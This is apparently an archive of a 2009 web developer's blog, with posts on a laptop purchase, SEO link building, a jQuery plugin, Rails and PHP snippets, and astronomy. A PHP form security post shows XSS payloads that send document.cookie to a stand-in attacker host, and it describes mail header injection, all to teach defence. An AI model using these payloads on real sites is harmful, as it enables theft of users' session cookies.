BLOG: Mitch Wilson, Austin TX Web & Multimedia Developer – Austin, TX

28Aug/092

New Macbook Pro laptop

Macbook Pro

Macbook Pro

I've done it. The desktop is on the way of the dinosaur. Large and still thrilling. But too big to survive in today's world. I had to get a better laptop. My ghettotop wasn't cutting it anymore. Having a desktop is great when you need to sit at a desk. But having to sit at a desk when you need to work is not so great.

So what kind of laptop did I get?

I got a really sweet deal on a new Macbook Pro (MB470LL/A).

It came with just 2GB of ram but I can easily upgrade that when needed. I'm doing a lot more coding now and less graphics work, so I think I'll be fine with just the 2GB. Hah!, "just the 2GB." And it's DDR3 RAM. Nice.

The screen is 15.4 inches. I thought about getting the 17 inch but frankly didn't want to shell out the cash. Besides, I want it to be as portable as possible. If I need a bigger screen at home, I'll have a reason to buy big one :) .

The hard drive is only the 5400 speed but like I said, I'm not doing a lot of graphics work. And it's 250 GB, large enough and I already have an external drive. Oh yeh, and it has the SuperDrive for burning.

All I need now is a wireless mighty mouse. I wasn't impressed with the docking station options I found. The word monstrosity comes to mind. The Apple Cinema Display would be nice! But I think I'll find my 15.4 inch screen very comfy. Yeh.

Filed under: Geek Out 2 Comments
11Aug/092

Learning about link building

Allow me to share an overview of what I learned at the SEO link building seminar, "Finding Your Most Valuable SEO Link Prospects, Faster and Easier with Ben Wills." This is my second seminar on link building. The first one was a couple of years ago and I did not get much out of it. This one was different. Speaking to a packed room, Ben Wills presented on tools and techniques for evaluation and getting quality links. What is a "quality link" you ask?

Quality Links

First off, just to be clear: we are talking about links on another site pointing to your site. We are not talking about links on your site in your Web pages. Sometimes that confuses people because a lot of SEO discussion is about improving your own links. Here we want to get links from other Web sites. A quality link will be on a popular Web page. It will bring your site traffic. And it will increase your page's Page Rank on Google.

Top 5 Ways to Measure a Link's Marketing Value

I have blatantly copied this list from the company Ben Wills work for, Ontolo. I am listing just the top 5, but the actual list is the top 16.

  • The Link Prospect Page Ranks Top 20 in the SERPs
  • Multiple Pages from the Same Domain Link to Top Ranking Sites
  • PageRank of Domain/Target Pages
  • Social Media Distribution
  • Domain Traffic Estimates: SEMRush, Compete, Alexa etc…

Ok, so how can I find quality links

I found out about a couple of ways for finding and evaluating the quality of a page for link prospects.

Final Question: How do I get a link?

Getting a quality link has also been a bit of mystery to me, mostly because I have no budget and do not want to just spend lots of money, i.e., buy links. I thought that buying lots of links and learning by trial-and-error, something I could not afford, was the only way. It's not.

  • Pay for links (the joke about paid links being like paid sex was hilarious ...)
  • Email bloggers and ask for a link. Yes, email them. Make sure it's a personal email, not some automated attack on mankind. Ben's main message here: be nice and courteous and real, and bloggers will respond positively to your emails. Ah ...

Conclusion

This page is just an overview with a few details. I highly recommend attending any link building seminars by Ben Wills. I should also mention Meetup and Dave and Busters and Amy Gelfand. Meetup.com is a great online tool for finding local meetings on a wide range of topics, including Web marketing, Web development, etc. (My wife uses for a local Moms group.) I was suprised at what a great meeting place Dave and Busters turned out to be; I was skeptical but the meeting room was great. Amy Gelfand (Gelfand Design) has a deep interest in Web standards and SEO. I found out about the meeting from her on Facebook.

Tagged as: 2 Comments
3Aug/0925

New jQuery plugin: maxChar

Easily add a max character limit on any HTML input or textarea form field. Also dynamically updates status message countdown to user, eg, "10 remaining" as they type. Has several options. Message is customizable. Correctly handles user events, even paste via right click menu.

Update: version 0.3.0 is out

This post is about the 0.1.0 version. The newest version is now 0.3.0. To see the new version and keep up with future updates, see the main maxChar page.

Features for version 0.1.0 (deprecated, see Update above)

  • No JavaScript in HTML tags
  • Drop dead simple with sensible defaults or completely customizable with overrides
  • Have plural and singular forms of message
  • Easily work with multiple target fields, as many as I want
  • Properly handle user pasting text via right click menu
  • Be able to properly handle updating message

Basic example .. doesn't get any easier than this

The most common use case is to add the maxChar functionality to a textarea, eg, in a comment form. Just load jquery, load the plugin, and initialize it on the target form element while passing the character limit you want to enforce.

Instructions

  1. Add links to jQuery and the maxChar plugin in your HTML head section.



  2. In your HTML head section, initialize the plugin in your jQuery ready block.


  3. In your HTML, just make sure your input or textarea element has the id you passed to maxChar above.


    NOTE: although below the only element you create is the textarea element, the maxChar plugin dynamically creates and adds a span element after the textarea element. This dynamically created span element is the container for the updated status message, eg, "N remaining."

Advanced Examples: You want options, you got options

I added the options that made sense to me. Check 'em out.

Option: indicator

The indicator is the HTML element that displays the status message, such as "10 remaining." By default, maxChar dynamically creates a span element with an id="indicator", then adds it in the DOM after the target element, in our previous example, after the textarea.

Sometimes, though, you will want to override the default indicator HTML element and specify your own. Just pass the indicator id as a parameter and maxChar will not dynamicaly create and insert a span element; it will instead update your specified HTML element with the status message.



And in your HTML, add the custom element wherever you want it in your design.




Setting up multiple instances

Using the indicator option is usually mandatory when using maxChar with multiple form fields, since you normally want each field will need it's own indicator. (If you do not specify multiple indicators, all targeted fields with share the single indicator; this would be an interesting design but probably a little confusing.)



And in your HTML, specify your HTML input and textarea and the matching span elements for their indicators.



Options: singularMessage and pluralMessage

You can also change the indicator's status message. By default it says "N remaining" but you can change the text after the number (N) to whatever you want. You can also create singular and plural versions, eg, "2 characters remaining" and "1 character remaining."



Option: spaceBeforeMessage

In addition to changing the status message itself, you can also specify the spacing in front of the message. This option is handy if the status message should, or should not, have a space between it and the textarea or input element. The default is one space character. In the following example I remove any space by setting to an empty string.



Option: rate

The interval at which maxChar runs is configurable. The default is 200 milliseconds. Sometimes you might want to tweak this rate for your own reasons. I found myself setting to different values to get the exact rate I felt was user-friendly. Since you might have your own preference, I made it an option.



2Jul/091

undefined method `install_gem_spec_stubs’

If you know what the title of this post means, I'm sorry you are having trouble running rake in your rails project. If you have no idea what I'm saying, consider yourself lucky and move on.

Not a big deal, in the end, but just another pain in the butt that needs fixing. While updating my project from rails 2.0 to 2.3.2 I was greeted, right on cue, with exactly what I expected: an error. Rails is great but it can be love-hate sometimes.

Turns out that when running rake rails:update, to update to rails version 2.3.2, the new boot.rb file is not copied into your project's config directory.

To fix, simple copy  vendor/rails/railties/environments/boot.rb to config/boot.rb, overwriting your existing config file.

I also found that I was completely missing the initializers directory in my project's config directory. So I got those files as well by creating a new rails project and copying the whole config/initializers directory into my config directory.

16May/090

List of states as PHP array

Here are two PHP arrays: states and states_short. Use either of these to populate a select element drop down list used to select the state in an HTML form.

Copy, paste and enjoy!


$states_short = array(
'AL'=>'AL',
'AK'=>'AK',
'AZ'=>'AZ',
'AR'=>'AR',
'CA'=>'CA',
'CO'=>'CO',
'CT'=>'CT',
'DE'=>'DE',
'DC'=>'DC',
'FL'=>'FL',
'GA'=>'GA',
'HI'=>'HI',
'ID'=>'ID',
'IL'=>'IL',
'IN'=>'IN',
'IA'=>'IA',
'KS'=>'KS',
'KY'=>'KY',
'LA'=>'LA',
'ME'=>'ME',
'MD'=>'MD',
'MA'=>'MA',
'MI'=>'MI',
'MN'=>'MN',
'MS'=>'MS',
'MO'=>'MO',
'MT'=>'MT',
'NE'=>'NE',
'NV'=>'NV',
'NH'=>'NH',
'NJ'=>'NJ',
'NM'=>'NM',
'NY'=>'NY',
'NC'=>'NC',
'ND'=>'ND',
'OH'=>'OH',
'OK'=>'OK',
'OR'=>'OR',
'PA'=>'PA',
'RI'=>'RI',
'SC'=>'SC',
'SD'=>'SD',
'TN'=>'TN',
'TX'=>'TX',
'UT'=>'UT',
'VT'=>'VT',
'VA'=>'VA',
'WA'=>'WA',
'WV'=>'WV',
'WI'=>'WI',
'WY'=>'WY'
);


$states = array(
'AL'=>'Alabama',
'AK'=>'Alaska',
'AZ'=>'Arizona',
'AR'=>'Arkansas',
'CA'=>'California',
'CO'=>'Colorado',
'CT'=>'Connecticut',
'DE'=>'Delaware',
'DC'=>'District Of Columbia',
'FL'=>'Florida',
'GA'=>'Georgia',
'HI'=>'Hawaii',
'ID'=>'Idaho',
'IL'=>'Illinois',
'IN'=>'Indiana',
'IA'=>'Iowa',
'KS'=>'Kansas',
'KY'=>'Kentucky',
'LA'=>'Louisiana',
'ME'=>'Maine',
'MD'=>'Maryland',
'MA'=>'Massachusetts',
'MI'=>'Michigan',
'MN'=>'Minnesota',
'MS'=>'Mississippi',
'MO'=>'Missouri',
'MT'=>'Montana',
'NE'=>'Nebraska',
'NV'=>'Nevada',
'NH'=>'New Hampshire',
'NJ'=>'New Jersey',
'NM'=>'New Mexico',
'NY'=>'New York',
'NC'=>'North Carolina',
'ND'=>'North Dakota',
'OH'=>'Ohio',
'OK'=>'Oklahoma',
'OR'=>'Oregon',
'PA'=>'Pennsylvania',
'RI'=>'Rhode Island',
'SC'=>'South Carolina',
'SD'=>'South Dakota',
'TN'=>'Tennessee',
'TX'=>'Texas',
'UT'=>'Utah',
'VT'=>'Vermont',
'VA'=>'Virginia',
'WA'=>'Washington',
'WV'=>'West Virginia',
'WI'=>'Wisconsin',
'WY'=>'Wyoming'
);

Filed under: Geek Out No Comments
15Apr/090

HTML, JavaScript and PHP form security

How about a refresher on PHP form security? Follow these simple steps to cover the basics. Then sleep better at night knowing you have improved the World Wide Web. (Seriously, get some good sleep, you need it.)

Know thy enemy

The whole security issue comes from two simple facts:

  • First fact: Certain text characters and series of characters have special meaning in programming.
    Example: A left angle bracket, in HTML context, starts a tag. But in JavaScript, it means less than.
  • Second fact: Web sites implement online forms that let users upload code to run on the server.
    Example: In the comments form, users type text in various text fields. But is the user entering just plain text and allowed tags, or are they entering carefully crafted text containing HTML, JavaScript or some other language meant to run malicious code either on your server or in another user's browser (while visiting your site)?

Malicious client-side HTML and JavaScript

A left angle bracket, in HTML, starts an HTML tag. The series of characters <script> starts a script tag. If you allow a user to submit html tags in your form, you have just opened the door to attack. For example, here is a common type of attack where the attacker posts a malicious link as part of their message or comment to the target Web site. The following example uses HTML and JavaScript entered in the message body. Any cookies you set for that user (who clicks the link) can be read by the attacker. When a user clicks the link, the browser passes the user's cookie information, from the current Web site (yours), as a query string to their PHP file on the attacker's server:

<a href="http://badsite/attacker.php?cookie=<script>document.cookie;</script>">Click here to win</a>

Of course, if you do not filter out or sanitize the data in any way and allow JavaScript code to run, the attacker wouldn't even need the user to click a link. They would just enter a simple block of JavaScript within a <script> tag in their comment:

Hi, great site! <script>location="http://badsite.com/attacker.php?cookie="+document.cookie;</script>

Now we've seen a client-side attack using HTML, JavaScript and PHP. Let's look at a server side attack example, then we'll see how to combat both of them.

Malicious server-side PHP
By adding \r\n in a field that will be used to create an email header for the PHP mail() function, an attacker can write their own email and send it from your Website to whomever they want. Your site's online email form will be used to spam other people. Only these versions of PHP are affected, PHP 4 <= 4.4.6 and PHP 5 <= 5.2.

The local-part of the e-mail address may use any of these ASCII characters:

  • Uppercase and lowercase English letters (a-z, A-Z)
  • Digits 0 through 9
  • Characters ! # $ % & ' * + - / = ? ^ _ ` { | } ~
  • Character . provided that it is not the first nor last character, nor may it appear two or more times consecutively.

 

  1. // copy the value form $_GET to $id

  2. $id = $_GET['id'];

  3. echo "thanks for sending me $id, dude!";

  4.  

  5. // just use the $_GET val directly

  6. echo 'it\'s even more awesome to grab '.$_GET['id'].' directly from input, right?';

 

  1. // escaped, so not a potential SQL injection threat.

  2. $id = mysql_real_escape_string($_GET['id']);

  3. echo "Now I know that $id is totally safe to insert into my database";

  4.  

  5. // cast as int, so

  6. $id = intval($_GET['id']);

  7. echo "$id is most certainly an integer now";

Ninja Webmaster Techniques

  • Encode using htmlentities()
  • Strip suspicious special characters like backslashes and curly braces

HTML and JavaScript InjectionPHP mail() Header Vulnerabilities

  • Cross site scripting (XSS)
    Example: Adding a script tag in a comment on your site to read your user's cookies.
  • Input injection
    Example: Adding malicious PHP code in your form field then submitting to run on your server.
  • Mail header injection
    Example: Adding \r\n in an email form field and then adding custom malicious email headers to send spam from your Website.

Disclaimer

I am not a security professional. I am a Web developer, like you. I presented common best practices. In addition, you should have a professional hosting service or server administrator who knows what they are doing, and you should communicate with them and follow their advice to make sure your Web site is as secure as possible.

Filed under: Geek Out No Comments
15Apr/090

Day 2: SXSW Interactive 2009

Day two, I coverd 5 sessions. That's right. I session jumped the last three all in one hour, 20 minutes each.

Even Faster Websites

Steve Souders wrote the book, "High Performance Web sites" published by O'Reilly in 2007. He is methodical and makes extensive use of yslow and a packet sniffer. Steve demonstrated the performance hit of including inline JavaScript after a link to an external CSS stylesheet. Bascially, the browser will wait for the CSS to finish downloading before proceeding to execute the JavaScript. Other insights included no not using HTML to write script elements. Instead, dynamically add the script element. Doing so avoids inline Javascript that blocks parallel downloading.

First Year as a Freelancer

This was a session I will have to write more on later, since I took so many notes. I'll just say that I was really inspired by this session and made some contacts for possible collaboration later.

Freelance to Agency

A panel discussion with some really smart people nice enough to share their wisdom: Kristina Halvorson (Brain Traffic), Jeffrey Zeldman (Happy Cog, A List Apart, Zeldman.com) , Roger Black and Whitney Hess. If you have't guessed, I'm a full-time freelancer now. So this was a welcome follow up to the previous session about freelancing as well.

Interface Lessons Learned from Games

It's really late and I am going to stop writing very soon. More on this and the rest later.

Filed under: Geek Out No Comments
1Apr/090

I saw Jupiter and it’s moons this morning

Between 6:45 and 6:55 AM this morning, I observed Jupiter and it's four largest moons: Io, Europa, Ganymede and Callisto. Above but getting low On the South Eastern horizon, you could see Jupiter with the naked eye. With a telescope, I could make out four moons as well. I posted a drawing of my observation to flickr.

Drawing of observation of Jupiter and four Moon: Io, Europa, Ganymede and Callisto

Filed under: Geek Out No Comments
31Mar/090

Will I see galaxies tonight?

I've learned that using a telescope is a lot more involved than I had expected. (But also more fun.) I have spotted Saturn and learned several stars and constellations. But I really want to see something more interesting, like a galaxy. Weather ruined my previous plan, so tonight I am hoping for better luck. The weather is supposed to be clear or partly cloudy.

I have four galaxies picked out:

  • Bode's Galaxy (M81)
  • Cigar Galaxy(M82)
  • M108
  • M109

All four galaxies are near The Big Dipper, which is easy to find.

Filed under: Geek Out No Comments
29Mar/090

Searching for the Pinwheel and Whirlpool galaxies

Whirlpool GalaxyLast night at 3am I spent a good hour, at least, outside in the cold looking up in the sky. My back hurt. I had on two jackets but was still cold. I was hungry. Oh yeh, and I was very, very tired. And I never found my target, the Hercules globular cluster. Isn't astronomy great!

Tonight I am hoping for better luck, and dare I say, skill. I learned a lot last night, my first real night star watching. I had found Saturn on several occasions but I had not yet tried to find any deep space objects, until now. I'm not just an amateur astronomer; I'm a beginning amateur astronomer.

Tonight, most of all, I hope to find the following:

These two galaxies are both close to the star, Alkaid, the end star in the handle of the Big Dipper. So they should be easy to find, right?

I planned it all out. Tonight, at 1am, the two galaxies should be at a good vertical position in the sky, high enough to get a angle through the atmosphere but not so high that I strain my neck looking straight up for minutes on end. How do I know where they will be at 1am? Starry Night is an extremely helpful and cool software application that maps stars etc. by date and time. I can set the date and time to display to see the positions of stars and other objects in the sky at that time.

I am excited about tonight. Last night was a good learning experience but disappointing. I never found the Hercules globular cluster. I am hoping the Whirlpool and Pinwheel galaxies will be easier targets.

Update

It was too cloudy that night. Bummer.

Filed under: Geek Out No Comments